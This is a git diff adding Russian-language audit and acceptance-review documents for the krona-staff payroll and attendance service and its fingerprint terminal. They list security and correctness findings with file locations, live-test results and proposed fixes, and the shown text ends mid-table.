diff --git a/docs/audit/2026-09-18-audit.md b/docs/audit/2026-09-18-audit.md new file mode 100644 index 0000000..c54326c --- /dev/null +++ b/docs/audit/2026-09-18-audit.md @@ -0,0 +1,206 @@ +# Аудит репозитория krona-staff (третий проход) + +- Дата: 2026-09-18 +- Ревизия: `7c8e7fc` — ветка `codex/bootstrap-platform-foundation`, 9 коммитов +- Предыдущие проходы: `14ed610` (первый отчёт), `b88ff91` (второй отчёт) +- Репозиторий: https://git.ochenstarik.ru/ochenstarik/krona-staff + +## 1. Что изменилось + +Два новых коммита, 53 файла, +1725/−1069 строк: + +- `64ac5c0 fix: enforce tenant isolation and runtime contracts` — Node-сервис, БД, Docker, CI; +- `7c8e7fc fix: close terminal audit findings` — терминал, документация, лицензия ZKTeco. + +Добавлен `docs/AUDIT-REMEDIATION-2026-09-18.md` — ответ на **первый** отчёт (ревизия `14ed610`). Замечания второго отчёта (Н1–Н10, ревизия `b88ff91`) в нём не учтены: коммиты готовились до него. + +Главное из сделанного: + +- разделены роли PostgreSQL: `krona_migrator` (миграции) и `krona_staff_app` (`NOSUPERUSER NOBYPASSRLS`); +- мигратор ведёт `schema_migrations`, берёт advisory lock, откатывает только последнюю миграцию и только при `ALLOW_MIGRATION_DOWN=true`; +- миграция `0002` добавляет `subject`/`actor` в outbox, `CHECK` на ULID и делает аудит-лог доступным приложению только на чтение и добавление; +- маршруты перенесены под `/api/v1/staff`, `/ready` отвечает `503` без деталей, `x-correlation-id` проверяется как ULID и возвращается в ответе; +- появились интеграционные тесты: реальная проверка изоляции тенантов на PostgreSQL и сверка OpenAPI с фактическими маршрутами; таймаут тестов поднят до 15 с; +- Redis и BullMQ удалены из зависимостей и compose; образы Docker закреплены по digest; `format:check` и миграции добавлены в CI; +- в терминале: экспорт журнала в CSV, маскирование имён на публичном экране, настраиваемая максимальная длительность смены, ограничение журнала в 100 000 записей, глобальные обработчики необработанных исключений, ротация `crash.log`, автозагрузка выключена по умолчанию, очищен `Package.appxmanifest`, добавлена EULA ZKTeco. + +## 2. Проверки + +| Проверка | Результат | +| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- | +| `npm ci` | OK | +| `npm run check` (lint, typecheck, тесты, миграции, контракты, build) | **Пройдено полностью** | +| `npm run format:check` | Пройдено по коду репозитория (замечание только к этому файлу отчёта, он не в репозитории) | +| `npm audit --audit-level=moderate` | 0 уязвимостей | +| `dotnet build` терминала (Release, x64) | OK, 0 ошибок, 0 предупреждений | +| Запрос `GET /live` (корень) | **404** — цель Docker HEALTHCHECK, см. Н11 | +| Запрос `GET /api/v1/staff/live` | 200 | +| Запрос `GET /api/v1/staff/ready` при сбое БД | 503, тело `{"status":"unavailable"}`, текст ошибки БД не раскрывается | +| Некорректный `x-correlation-id` | Заменяется на сгенерированный ULID | +| `NODE_ENV=production` + `standalone` | Запуск запрещён с понятной ошибкой | + +**Не проверялось:** Docker, PostgreSQL и сканер SLK20R на машине аудита отсутствуют. Тест изоляции тенантов локально пропускается (`DATABASE_TEST_URL` не задан) — в CI он выполняется, но результата прогона CI я не видел. + +## 3. Сводка + +| Категория | Итог | +| ----------------------------------- | --------------------------------------------------------- | +| Закрыто из первого отчёта | 24 находки из 33 + сознательно оставлена №24 | +| Осталось из второго отчёта (Н1–Н10) | 9 открыто, 1 частично | +| Новые находки | 11 (2 высоких, 5 средних, 4 низких) | +| Архитектура и право (A1, A2) | Вынесены владельцу, зафиксированы в документе исправлений | + +## 4. Новые находки + +### Н11. 🟠 Docker HEALTHCHECK проверяет несуществующий маршрут + +- **Где:** `Dockerfile:21` +- **Суть:** после переноса маршрутов под `/api/v1/staff` проверка осталась на `http://127.0.0.1:8080/live`. Проверено запросом: корневой `/live` теперь отдаёт 404, `wget` вернёт ошибку. +- **Последствия:** контейнер всегда в состоянии `unhealthy`. В Docker Compose это ломает `depends_on: condition: service_healthy`, в оркестраторах (Swarm, Kubernetes при аналогичной пробе) — приводит к бесконечному перезапуску или к тому, что контейнер не попадает в балансировку. Автоматическая проверка развёртывания при этом молчит. +- **Исправление:** `CMD wget -q -O - http://127.0.0.1:8080/api/v1/staff/live || exit 1`; добавить healthcheck для сервиса `app` в `compose.yaml` и тест, который сверяет путь из `Dockerfile` с маршрутами. + +### Н12. 🟠 Контейнер приложения получает учётные данные мигратора + +- **Где:** `compose.yaml:4`, `.env.example:5-8` +- **Суть:** у сервиса `app` указан `env_file: .env`, а в `.env` лежат `DATABASE_MIGRATION_URL`, `POSTGRES_MIGRATION_PASSWORD` и `POSTGRES_APP_PASSWORD`. Переопределение `DATABASE_URL` не убирает остальные переменные из окружения контейнера. +- **Последствия:** пароль роли-владельца схемы доступен процессу приложения и любому, кто прочитает `/proc/1/environ` или `docker inspect`. Разделение ролей, ради которого сделана находка №6, частично обесценивается. `docs/DEPLOYMENT.md` прямо утверждает обратное: «миграционный URL хранится отдельно и не передаётся runtime-контейнеру». +- **Исправление:** отдельные файлы `.env.app` и `.env.migrate`, либо перечислить нужные переменные в `environment:` без `env_file`. + +### Н13. 🟡 Обновление существующей установки ломается + +- **Где:** `compose.yaml:23-32`, `docker/postgres/init-app-role.sh` +- **Суть:** `POSTGRES_USER` изменён с `krona_staff` на `krona_migrator`, а роль приложения создаётся скриптом из `docker-entrypoint-initdb.d`, который выполняется только при инициализации пустого каталога данных. На уже существующем томе: + - роль `krona_staff_app` не появится; + - блок `GRANT` в миграциях обёрнут в `IF EXISTS (SELECT 1 FROM pg_roles ...)` и молча ничего не сделает; + - приложение не сможет подключиться, в кластере останется прежний суперпользователь `krona_staff`. +- **Исправление:** выполнять `scripts/create-app-role.mjs` в сервисе `migrate` перед миграциями и описать порядок обновления в `docs/DEPLOYMENT.md`. + +### Н14. 🟡 Права выдаются «если роль есть» и не распространяются на будущие таблицы + +- **Где:** `migrations/0001_infrastructure.up.sql:80-89`, `migrations/0002_security_hardening.up.sql:59-68` +- **Суть:** при отсутствии роли миграция завершается успешно, но без выдачи прав — ошибка проявится позже как `permission denied` в рантайме. `ALTER DEFAULT PRIVILEGES` не настроен, поэтому каждая новая миграция обязана повторять блок `GRANT`; забытый блок — новая таблица, недоступная приложению. +- **Исправление:** падать с понятной ошибкой, если роли нет; настроить `ALTER DEFAULT PRIVILEGES FOR ROLE krona_migrator IN SCHEMA public`. + +### Н15. 🟡 Новое правило «Приход/Уход» теряет длинные смены и не имеет ручной корректировки + +- **Где:** `MainPage.xaml.cs:586-588` +- **Суть:** «Уход» проставляется, только если предыдущее событие — «Приход» и с него прошло не больше `MaximumShiftHours` (по умолчанию 20 ч). Переход через полночь теперь обрабатывается верно (№14 закрыта), но появились новые случаи: + - смена длиннее настроенного значения (суточное дежурство при значении 20 ч) даёт второй «Приход» вместо «Ухода»; + - если сотрудник не отметил уход, «Приход» остаётся незакрытым навсегда, и следующая отметка тоже станет «Приходом»; + - исправить ошибочную запись в интерфейсе нельзя — доступна только полная очистка журнала. +- **Исправление:** редактирование или удаление отдельной записи под администратором с пометкой о ручной правке; предупреждение при незакрытом «Приходе». + +### Н16. 🟡 Ограничение журнала в 100 000 записей делает сохранение очень дорогим + +- **Где:** `MainPage.xaml.cs:599-601`, `Services/TerminalStore.cs:127` +- **Суть:** предел в 100 000 записей — это десятки мегабайт JSON с отступами. Каждая отметка выполняет два сохранения, каждое сохранение полностью сериализует состояние, шифрует его, пишет с принудительным сбросом на диск и копирует три резервные копии. То есть на одну отметку приходится до восьми полных записей файла. +- Записи сверх лимита удаляются молча, без архива и без предложения выгрузить CSV. +- **Исправление:** перейти на журнал с добавлением записей (SQLite или файл-журнал), либо хранить в состоянии только последние отметки, а историю писать отдельно; перед усечением требовать экспорт. + +### Н17. 🟡 Приватный режим скрывает имена только в списке + +- **Где:** `MainPage.xaml.cs:581`, `:605` +- **Суть:** при включённом маскировании (по умолчанию) список последних отметок показывает «И\*\*\* П\*\*\*», но крупный текст на экране терминала по-прежнему выводит полное имя: «Иван Петров / Приход отмечен в 09:14», то же при отклонении повторного скана. +- **Последствия:** цель находки №26 не достигнута — имя всё равно видно постороннему у терминала, причём более заметно, чем в списке. +- **Исправление:** применять то же маскирование к `TerminalMessage` и к сообщениям строки состояния в публичном режиме. + +### Н18. ⚪ Экспорт CSV не фиксируется и не защищён + +- **Где:** `MainPage.xaml.cs:641-667` +- **Суть:** экспорт выгружает полные имена, табельные номера, должности и все отметки в произвольный незашифрованный файл. Факт экспорта нигде не сохраняется. +- **Исправление:** записывать в журнал событие экспорта (кто, когда, сколько записей); предупреждать, что файл не зашифрован. + +### Н19. ⚪ Изменена уже применённая миграция, контрольные суммы не проверяются + +- **Где:** `migrations/0001_infrastructure.up.sql`, `scripts/migrate.mjs` +- **Суть:** файл `0001` изменён задним числом (в `CREATE TABLE` добавлены `subject_*`/`actor_*` и `CHECK`), при этом на уже мигрированных базах таблица создана по старой версии, а колонки добавляет `0002`. Сейчас расхождение компенсируется, но мигратор не хранит контрольные суммы, поэтому следующая правка применённого файла останется незамеченной. +- **Исправление:** хранить хеш файла в `schema_migrations` и падать при расхождении. + +### Н20. ⚪ Подстановка Release вместо Debug в пути автозагрузки + +- **Где:** `Services/StartupService.cs:25-38` +- **Суть:** если путь процесса содержит `\Debug\`, он заменяется на `\Release\`, а при отсутствии файла выбрасывается исключение. Установка в каталог, в названии которого есть «Debug», сломает автозагрузку; подставленный Release-файл может быть старой сборкой. +- **Исправление:** определять отладочную сборку по `#if DEBUG` или по атрибуту сборки, а не по пути. + +### Н21. ⚪ ADR-001 не синхронизирован с кодом + +- **Где:** `docs/adr/ADR-001-technology-and-runtime-modes.md:8`, `:12` +- **Суть:** ADR по-прежнему фиксирует Redis/BullMQ как принятое решение, хотя зависимости и сервис удалены; `AGENTS.md` требует синхронизировать ADR при изменении контракта. `docs/ARCHITECTURE.md` обновлён, ADR — нет. +- **Исправление:** дополнить ADR-001 или выпустить ADR-002 «Redis откладывается до появления сценария очередей». + +## 5. Находки второго отчёта: почти все открыты + +`Services/TerminalStore.cs` в новых коммитах **не менялся**, поэтому связанные находки в силе. + +| № | Находка | Статус | +| --- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | +| Н1 | 🔴 После переименования повреждённого файла следующий запуск стартует с пустым состоянием: терминал открыт для создания чужого PIN, резервные копии затираются через 3–4 сохранения. То же при простом удалении файла состояния | ❌ Открыто | +| Н2 | 🟠 Любая ошибка чтения, включая временную блокировку файла антивирусом, считается повреждением; откат к резервной копии происходит без предупреждения | ❌ Открыто | +| Н3 | 🟡 Резервные копии обновляются на каждом сохранении и покрывают 1–2 скана; ошибочная очистка журнала попадает во все копии | ❌ Открыто, усугублено Н16 | +| Н4 | 🟡 `GetDeviceCount() - 1` не проверен на оборудовании | ❌ Открыто | +| Н5 | 🟡 Счётчик неверных PIN живёт в памяти, задержка блокирует и вход по отпечатку, старые хеши не пересчитываются | ❌ Открыто | +| Н6 | ⚪ `Disconnect` освобождает дескрипторы после 2 с ожидания независимо от результата | ❌ Открыто | +| Н7 | ⚪ Самопроизвольная отмена регистрации | 🟨 Частично: добавлено событие `RegistrationCancelled`, но `RefreshLists()` по-прежнему сбрасывает выбор и отменяет регистрацию | +| Н8 | ⚪ Редактирование сотрудника переписывает имена в прошлых отметках | ❌ Открыто | +| Н9 | ⚪ При недоступном хранилище приложение нельзя закрыть штатно | ❌ Открыто | +| Н10 | ⚪ Блокирующие циклы в пуле потоков, гонка при освобождении события активации, мьютекс в пространстве `Local\` | ❌ Открыто | + +## 6. Находки первого отчёта: статус + +### Закрыто + +| № | Находка | Как закрыто | +| ---------- | ------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | +| 1, 4, 5 | Регистрация отпечатка, гонка дескрипторов, потеря связи со сканером | Отмена регистрации, передача дескрипторов, контроль связи (остаточные Н4, Н6) | +| 3 | Гонка записи состояния | `SemaphoreSlim`, `WriteThrough` | +| 6 | RLS обходился суперпользователем | Роль `krona_staff_app` с `NOSUPERUSER NOBYPASSRLS`, тест проверяет `rolsuper`/`rolbypassrls` | +| 7 | Несовпадение паролей в быстром старте | Пароли и URL согласованы | +| 8 | Мигратор | `schema_migrations`, advisory lock, откат только последней, `ALLOW_MIGRATION_DOWN` | +| 9 | Потеря отметок при открытом диалоге | Отметка записывается | +| 11, 12 | Второй экземпляр, дубликат пальца | Мьютекс с активацией, `DBIdentify` перед регистрацией | +| 13 | Журнал без экспорта и без границ | CSV-экспорт и лимит (новые замечания Н16, Н18) | +| 14 | Смена через полночь | Настраиваемая максимальная длительность смены (новое замечание Н15) | +| 15 | `/ready` отдавал 500 с текстом ошибки | 503 без деталей, проверено | +| 16 | Расхождение OpenAPI и маршрутов | Префикс `/api/v1/staff` и тест сверки | +| 17 | Пул PostgreSQL | `pool.on('error')`, `release(error)`, защищённый `ROLLBACK` | +| 18 | Тесты не проверяли инварианты | Реальный тест изоляции двух тенантов, сверка OpenAPI, таймаут 15 с | +| 19 | Аудит-лог и outbox | Политики `SELECT`/`INSERT`, `subject`/`actor`, `CHECK` на ULID | +| 20 | Неиспользуемый Redis | Удалён из зависимостей, compose и конфигурации (ADR не обновлён — Н21) | +| 21, 22 | Автозагрузка | `--autostart` открывает в трее, по умолчанию выключена (остаток — Н20) | +| 23 | Защита последнего администратора | Учитываются все администраторы, отдельная проверка при удалении отпечатков | +| 25 | `Trim` у PIN | Проверяются оба варианта | +| 26 | Имена на публичном экране | Маскирование в списке (неполно — Н17) | +| 27 | Ошибки фоновых задач и `crash.log` | Глобальные обработчики, ротация по 1 МБ на 3 файла | +| 28, 29 | Платформы проекта, шаблонный манифест | Только x64, манифест очищен, BOM убран | +| 31, 32, 33 | `x-correlation-id`, версия, shutdown, CI, digest | Проверка ULID, `src/version.ts` и сверка версий, таймаут остановки, `format:check` в CI, образы по digest, запрет standalone в production | + +### Оставлено сознательно и вынесено владельцу + +- **№24** — повторный запрос PIN перед разрушительными действиями сохранён по требованию владельца. +- **№30** — EULA ZKTeco добавлена, но сборки терминала и подписи в CI нет: нужны Windows-раннер и сертификат. Стоит отметить, что EULA запрещает включение компонента в продукты, извлекающие из этого коммерческую выгоду, — перед коммерческим распространением нужна юридическая проверка. +- **A1** (роль терминала: локальное хранилище против edge-клиента Staff) и **A2** (письменные согласия на биометрию, сроки хранения, трансграничная передача) — решения владельца и юриста, зафиксированы в `docs/AUDIT-REMEDIATION-2026-09-18.md`. + +## 7. Оценка качества исправлений + +Сделано аккуратно: исправления не косметические, к ним добавлены тесты (изоляция тенантов, сверка OpenAPI), документация обновлена вместе с кодом, отдельный документ фиксирует, что оставлено сознательно. Обход RLS, мигратор и контракт API — самые опасные места первого отчёта — закрыты по существу, а не «подпоркой». + +Основные замечания к процессу: + +1. Изменения не проверялись в реальной среде: Docker и PostgreSQL не запускались, поэтому неработающий HEALTHCHECK (Н11) и сломанный путь обновления (Н13) не были замечены. `AGENTS.md` прямо требует не считать Docker и CI проверенными, если среда не запускалась, — документ исправлений это честно фиксирует. +2. Замечания второго отчёта не попали в работу, а хранилище состояния — источник самой опасной из открытых проблем (Н1). +3. Коммиты по-прежнему крупные и смешивают исправления с новыми функциями (экспорт CSV, приватный режим, редактирование). + +## 8. План + +| Приоритет | Задача | Находки | +| --------- | -------------------------------------------------------------------------------------------------------------------------------- | ------------- | +| 1 | Не стартовать с пустым состоянием при наличии `*.corrupt-*`/`.bak*`; не затирать копии; отличать повреждение от временных ошибок | Н1, Н2 | +| 2 | Исправить HEALTHCHECK и добавить проверку сервиса `app` в compose | Н11 | +| 3 | Убрать миграционные учётные данные из контейнера приложения | Н12 | +| 4 | Создание роли приложения в сервисе `migrate`, порядок обновления существующих установок, явная ошибка при отсутствии роли | Н13, Н14 | +| 5 | Журнал с добавлением записей вместо полной перезаписи, резервные копии по времени, ручная правка отметок | Н3, Н15, Н16 | +| 6 | Маскирование имени на главном экране терминала | Н17 | +| 7 | Проверить `GetDeviceCount() - 1` на оборудовании, довести устойчивость сканера | Н4, Н6 | +| 8 | Счётчик попыток PIN в хранилище, не блокировать вход по отпечатку, пересчёт старых хешей | Н5 | +| 9 | Контрольные суммы миграций, обновление ADR-001, аудит экспорта CSV | Н19, Н21, Н18 | +| 10 | Решения владельца: контракт терминала и правовая база обработки биометрии | A1, A2 | diff --git a/docs/audit/2026-09-26/ACCEPTANCE-1.md b/docs/audit/2026-09-26/ACCEPTANCE-1.md new file mode 100644 index 0000000..bcfb9a5 --- /dev/null +++ b/docs/audit/2026-09-26/ACCEPTANCE-1.md @@ -0,0 +1,56 @@ +# Приёмка №1: Grok и Antigravity — 2026-09-26 + +Проверял независимо, на живой PostgreSQL 17.10, в отдельных рабочих копиях. Код веток не менялся. Основа обеих веток — `778ba2d`; текущая основная ветка — `331e490`. Обе ветки вливаются в неё без конфликтов, друг с другом тоже. + +## Итог + +| Исполнитель | Ветка | Сделано из задания | Вердикт | +| ----------- | -------------------------------------------------- | --------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Antigravity | `antigravity/fix-reject-device-shifts` (`795bba0`) | Только часть 0 — немедленная мера по S1 | **Принять после одной правки**: подделка смены с устройства закрыта, но новый тест на реальной базе красный. Части 1–4 не начаты | +| Grok | `grok/e2e-harness` (`421da72`) | Задачи 1–7 | **Принять после двух правок**: стенд работает и честно ловит дефекты, но под Windows не запускается, а ID моего аудита не сопоставлены — файлы аудита до Grok не дошли | + +## Antigravity + +**Что проверено вживую** ([evidence/acceptance-antigravity-live-sync.txt](evidence/acceptance-antigravity-live-sync.txt)): + +- **S1 закрыт.** Устройство отправляет смену `status: confirmed, worked_minutes: 2880`. Ответ: `rejected / COMMAND_NOT_SUPPORTED`, смена не создана, расчёт по ней начисляет 0 ₽. До исправления было 14 400 ₽. +- **Сценарии Grok на этой ветке.** SYNC-A и SYNC-B (устройство не может подтвердить смену и утвердить табель) стали зелёными ([evidence/acceptance-grok-sync-with-antigravity.txt](evidence/acceptance-grok-sync-with-antigravity.txt)). +- **Штатные проверки.** lint, typecheck, сборка, миграции и контракты проходят; 188 тестов пройдено. `format:check` красный только по чужим старым файлам, файлы Antigravity отформатированы. + +**Что не так:** + +1. **Новый тест на реальной базе падает.** В очистке `tests/integration/sync-rejection.test.ts:69-74` запись удаляется ролью приложения, а у неё нет права DELETE на `staff_timesheet_entries` и `staff_employees`. Это тот же дефект, что N5. Проверка внутри теста проходит, но сам файл красный — значит, на живой базе тест не запускался. Исправление: очистка ролью мигратора, как Grok сделал для N5. +2. **Сделана только часть 0.** Не начаты: синхронизация S2–S9 (S2 и S9 проверил на этой ветке — оба по-прежнему воспроизводятся), SSRF через push (K12), оповещения процесса подтверждения, публикатор outbox. +3. **Сообщение коммита — один абзац в строке заголовка.** Нужны короткий заголовок и причина в теле (AGENTS.md). +4. **После влития нужно синхронизироваться с Grok.** SYNC-A и SYNC-B надо убрать из `tests/e2e/known-defects.json` — иначе CI упадёт с «дефект исправлен, обновите список». Это зона Grok. + +## Grok + +**Что проверено** ([evidence/acceptance-grok-e2e.txt](evidence/acceptance-grok-e2e.txt)): + +- **Зона соблюдена.** Изменены только `tests/e2e/**`, `tests/integration/tenant-isolation.test.ts`, `.forgejo/workflows/ci.yml` и `scripts/test/**`. Продукт не тронут. +- **Коммиты оформлены правильно.** 12 маленьких коммитов, у каждого в теле объяснена причина. +- **Стенд работает.** Прогон на моей PostgreSQL дал **38 красных и 9 зелёных** — ровно как в его отчёте. Красные совпадают с моими находками: N1, N2, N3, N4, N9, N10, N11, N12, F2, F3, F4, F7, F10, решения владельца OWN-01…11, синхронизация, пилотный compose. +- **Логика «известных дефектов» верная.** Известный красный сценарий не роняет CI. Исправленный дефект, который остался в списке, роняет CI. Незнакомый красный сценарий тоже роняет CI. Так исправление не пройдёт незамеченным, и регрессия тоже. +- **Новая находка, которой не было у меня (SYNC-C0).** Начальная загрузка данных на устройство на реальной базе всегда отвечает 500: `column "status" does not exist`. Офлайн-синхронизация фактически не работает на приём данных. Это задача для Antigravity. + +**Что не так:** + +1. **Под Windows стенд не запускается**, а проект разрабатывается под Windows: + - `scripts/test/run-e2e.mjs:35` — `spawn('npx')`; + - `tests/e2e/harness/global-setup.ts:67` и `scripts/test/n13-race.mjs:102` — `spawn(node_modules/.bin/tsx)`. + + Всё это даёт `ENOENT`, потому что в Windows это `.cmd`. Исправление: `spawn(process.execPath, [<путь к tsx/dist/cli.mjs>, …])` и то же для vitest. С такой локальной правкой я и проводил прогон. + +2. **ID моего аудита не сопоставлены.** Файлы `AUDIT.md` и `evidence` до Grok не дошли. Он это честно отметил: K1, K3–K6, K10–K12, S1, S2, S9 и A4 помечены «не проверено». Сценарии фактически покрывают те же дефекты под его номерами, нужно только переименовать теги. +3. **PR не создан**: у Grok нет токена Forgejo. Описание лежит в `tests/e2e/REPORT.md`. Также `tests/e2e/evidence/` коммитится в репозиторий и будет меняться при каждом прогоне — лучше хранить это как артефакт CI. + +## Что делать дальше + +1. **Влить Grok первым** (только тесты и CI) — после исправления запуска под Windows. +2. **Влить Antigravity** — после исправления очистки в тесте. В том же PR или сразу после Grok убирает SYNC-A и SYNC-B из списка известных дефектов. +3. **Antigravity продолжает** части 1–4 задания, плюс SYNC-C0 (загрузка на устройство падает на реальной базе). +4. **Grok сопоставляет ID** с моим аудитом, когда получит файлы. +5. **Codex.** В репозитории уже есть ветки `codex/fix-format-baseline` и `codex/fix-live-database` (этапы 0 и 1). Их можно принимать следующими. + +Стенды удалены, база остановлена. В этой приёмке ничего не влито и не запушено. diff --git a/docs/audit/2026-09-26/AUDIT.md b/docs/audit/2026-09-26/AUDIT.md new file mode 100644 index 0000000..efcab33 --- /dev/null +++ b/docs/audit/2026-09-26/AUDIT.md @@ -0,0 +1,213 @@ +# Полный аудит krona-staff — 2026-09-26 + +- Аудитор: Claude (Opus 5.5), режим только чтения: код, ветки и удалённый репозиторий не менялись +- Проверено: основная ветка `codex/bootstrap-platform-foundation` на коммите `3e20544` (2026-09-26 12:31 +07, версия 0.3.2) и ветки `antigravity/offline-sync-backend` (`5ee7517`, офлайн-синхронизация) и `codex/frontend-library` (`1812870`, оформление портала) +- Действует для: `778ba2d` — текущая основная ветка, в которую обе ветки влиты без изменения проверенного кода +- Сверка: аудит Grok на том же коммите `3e20544` (14 старых и 14 новых находок) — каждая перепроверена заново +- Доказательства: папка [evidence](evidence) — сценарии живой проверки и их вывод + +> Во время проверки обе ветки были влиты в основную (`3595792`), плюс косметический коммит `778ba2d`. Код синхронизации совпадает с проверенным `5ee7517`, поэтому находки S1–S9 относятся к основной ветке, а S1 (устройство создаёт подтверждённые смены, и они попадают в зарплату) — действующий дефект. + +## 1. Итог в трёх строках + +1. **Выпускать нельзя.** На настоящей PostgreSQL главная цепочка «подтвердить смену → рассчитать → утвердить» не работает (500), а создать сотрудника через API невозможно. +2. **Деньги считаются неверно даже там, где работает.** Одна смена может быть оплачена трижды, утверждённую смену можно отклонить задним числом без сторно, импорт из Excel теряет суммы, а устройство офлайн-синхронизации может само создать «подтверждённую» смену на 48 часов. +3. **Терминал пока не отправляет отметки на сервер.** Сотрудники на терминале получают свои идентификаторы, сервер их не знает и отвечает 404; связь служба ↔ интерфейс не работает из-за разных имён канала. + +## 2. Что реально запускалось + +| Проверка | Результат | +| ------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | +| `npm ci`, lint, typecheck, build, check:migrations, check:contracts | пройдено | +| `format:check` | не пройдено — 16 файлов ([evidence/format-check.txt](evidence/format-check.txt)) | +| vitest без базы | 156 пройдено, 1 пропущен | +| vitest на живой PostgreSQL 17.10 (роль приложения) | тест изоляции арендаторов падает при очистке: `permission denied for table staff_employees` | +| Миграции 0001–0010 мигратором **без** SUPERUSER: вверх, откат 10 шагов, вверх, повтор | пройдено | +| Миграции ветки синхронизации 0001–0011, откат 0011 и повтор | пройдено | +| `scripts/create-app-role.mjs` мигратором без SUPERUSER | ошибка `permission denied to alter role` | +| RLS на живой базе | 23 из 23 таблиц с `tenant_id`: ENABLE + FORCE + политика; роль приложения без SUPERUSER, BYPASSRLS, CREATEROLE; журналы только на чтение и вставку | +| Живой API: сервер на реальной базе, реальные HTTP-запросы | 19 сценариев, см. раздел 4 | +| `npm audit` (всё и production) | 0 уязвимостей | +| .NET: сборка службы Release, тесты терминала | сборка без ошибок; тесты 43 из 43 | +| Named pipe службы | проверено запуском отдельного тестового проекта | +| Не проверено | Docker и compose (нет на машине), WinUI-интерфейс вживую, DPAPI и ACL на отдельной Windows-машине, Snyk, реальные push-сервисы | + +Стенд: Windows 11, Node 24, PostgreSQL 17.10 (встроенная сборка), .NET 10 SDK. База аудита создавалась в UTF-8; первая попытка в WIN1251 дала ложную ошибку кодировки, её результаты отброшены. + +## 3. Сводка + +| Уровень | Открыто | Из них подтверждено вживую | +| ------- | ------- | -------------------------- | +| P0 | 2 | 1 | +| P1 | 17 | 10 | +| P2 | 32 | 6 | +| P3 | 31 | 3 | + +Сверка с Grok: из его 28 находок 22 подтверждены, 4 подтверждены частично (F8, F11, N7, N10), 1 исправлена (F5), 1 не воспроизведена (N13). Сверх Grok — 57 новых замечаний, главное — в денежной логике, терминале, эксплуатации и офлайн-синхронизации. + +## 4. Подтверждено на живом сервере + +| ID | Что проверено | Результат | +| --- | ----------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | +| F2 | Сервер без токенов, `STANDALONE_ACCESS=manager`, запросы без авторизации | `GET /portal` 200, `GET /payroll` 200, `GET /finance` 200, **запись** `POST /professions` 201 | +| F2 | То же при `STANDALONE_ACCESS=employee` (значение по умолчанию в compose) | `GET /portal` 200, `GET /payroll` 200 анонимно | +| F3 | Вход менеджером, выход, повтор старой cookie | cookie содержит сам токен менеджера; после `DELETE /session` старая cookie даёт `GET /portal` 200 | +| F4 | 60 неверных входов подряд | 60 × 401, ни одного 429 | +| N1 | `POST /employees` | 500, `42P08 inconsistent types deduced for parameter $2` | +| N2 | Подтверждение смены, расчёт | оба 500, `23502 null value in column "occurred_at" of relation "staff_outbox"` | +| N4 | Одна смена 8 ч × 300 ₽, три пересекающихся расчёта с утверждением | 3 начисления в реестре, **7 200 ₽ вместо 2 400 ₽** | +| D5 | Отклонение смены, уже оплаченной по утверждённой ведомости | 200, сторно не создано, начисления остались | +| N12 | Ставка `rate_minor = 1e20` с лишним полем | принято, 200 | +| — | Расчёт за `month = 2026-13` | 500 | +| N3 | Сотрудник подписывает push на `https://127.0.0.1:18443`, затем отметка на терминале | сервер открыл соединение на внутренний адрес и отправил TLS ClientHello | +| N9 | Сотрудник Б регистрирует endpoint сотрудника А | 201, подписка перешла к Б | +| A4 | Ошибки 500 | наружу уходят код и текст ошибки PostgreSQL | +| N10 | Токен терминала | `GET /professions` 200 со всем справочником; `GET /org-units` отдаёт пустой список — эта часть находки Grok не подтвердилась | +| N13 | Два одновременных первых расчёта периода | **не воспроизведено**: обе заявки получили один расчёт | +| S1 | Устройство синхронизации отправляет смену `status: confirmed, worked_minutes: 2880` | смена сохранена подтверждённой, подтвердил «никто», журнал аудита пуст; расчёт начислил **14 400 ₽** | +| S2 | Устройство отправляет отметку с `occurred_at = 2020-01-01` | сохранена | +| S9 | Удаление точки, к которой привязано устройство синхронизации | ошибка `23502 null value in column "tenant_id"` — точку удалить нельзя | +| — | Заголовки портала | CSP `script-src 'self'`, HSTS присутствуют | + +Для N4, D5 и S1 в базе аудита временно задавалось значение по умолчанию для `staff_outbox.occurred_at` (иначе мешает N2); после сценария оно снималось. + +## 5. P0 — блокируют любое использование вне стенда + +**K1. Открытый режим без токенов (F2, подтверждено вживую).** Если токены менеджера и терминала не заданы, любой запрос без авторизации получает права `STANDALONE_ACCESS` (`src/adapters/identity.ts:32-49`, `src/config.ts:45-47`). Корневой `compose.yaml` публикует порт 8080 на всех интерфейсах по HTTP и токенов не задаёт; в пилотном compose переменные подставляются без `:?`, поэтому пустая строка в `.env` молча открывает сервис. + +**K2. Production-режим недостижим, пилот работает как development (F1).** Адаптер платформенного JWT — заглушка (`identity.ts:60-66`), standalone в production запрещён. Поэтому оба compose ставят `NODE_ENV=development` (`compose.yaml:5`, `deploy/pilot/compose.yaml:8`) — это обходит проверки «standalone запрещён» и «HTTPS обязателен» на пилоте с реальными ФИО и зарплатами. + +## 6. P1 — денежная логика и работоспособность + +| ID | Суть | Где | Подтверждение | +| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------ | ---------------------------------- | +| K3 (N2) | Вставки в outbox без `occurred_at`: подтверждение смены, расчёт и утверждение всегда 500 | `src/portal.ts:1145-1163`, `src/domain/payroll/service.ts:770-784`, `917-935` | вживую | +| K4 (N1) | `POST /employees` всегда 500 из-за типа параметра `$2` | `src/portal.ts:465-483` | вживую | +| K5 (N4) | Пересекающиеся и «точка / все точки» расчёты начисляют смену повторно; при пересчёте не обновляется `period_end` | `service.ts:425-454`, `759-768`, `860-903`; индексы `0006:196-199` | вживую, 7 200 ₽ за 2 400 ₽ | +| K6 (D5) | Смены и строки утверждённой ведомости можно менять; у роли приложения есть DELETE на строки и UPDATE на ведомости, неизменяемость держится только кодом | `portal.ts:1024-1106`, `0006:296-300` | вживую | +| K7 (D2) | Импорт начислений и выплат теряет деньги: дельта считается по всем записям дня, а вставка по конкретному ключу | `src/operations.ts:1017-1052`, `scripts/import-owner-workbook.py:147,168,176` | по коду | +| K8 (D1) | Версии правил фиктивны: v1 изменяемая, даты действия не учитываются, условия точки не читаются, в строке ведомости нет дерева правила и ревизии смены — утверждённый расчёт нельзя воспроизвести | `service.ts:152-180`, `517-529`, `686-695` | по коду | +| K9 (D3) | 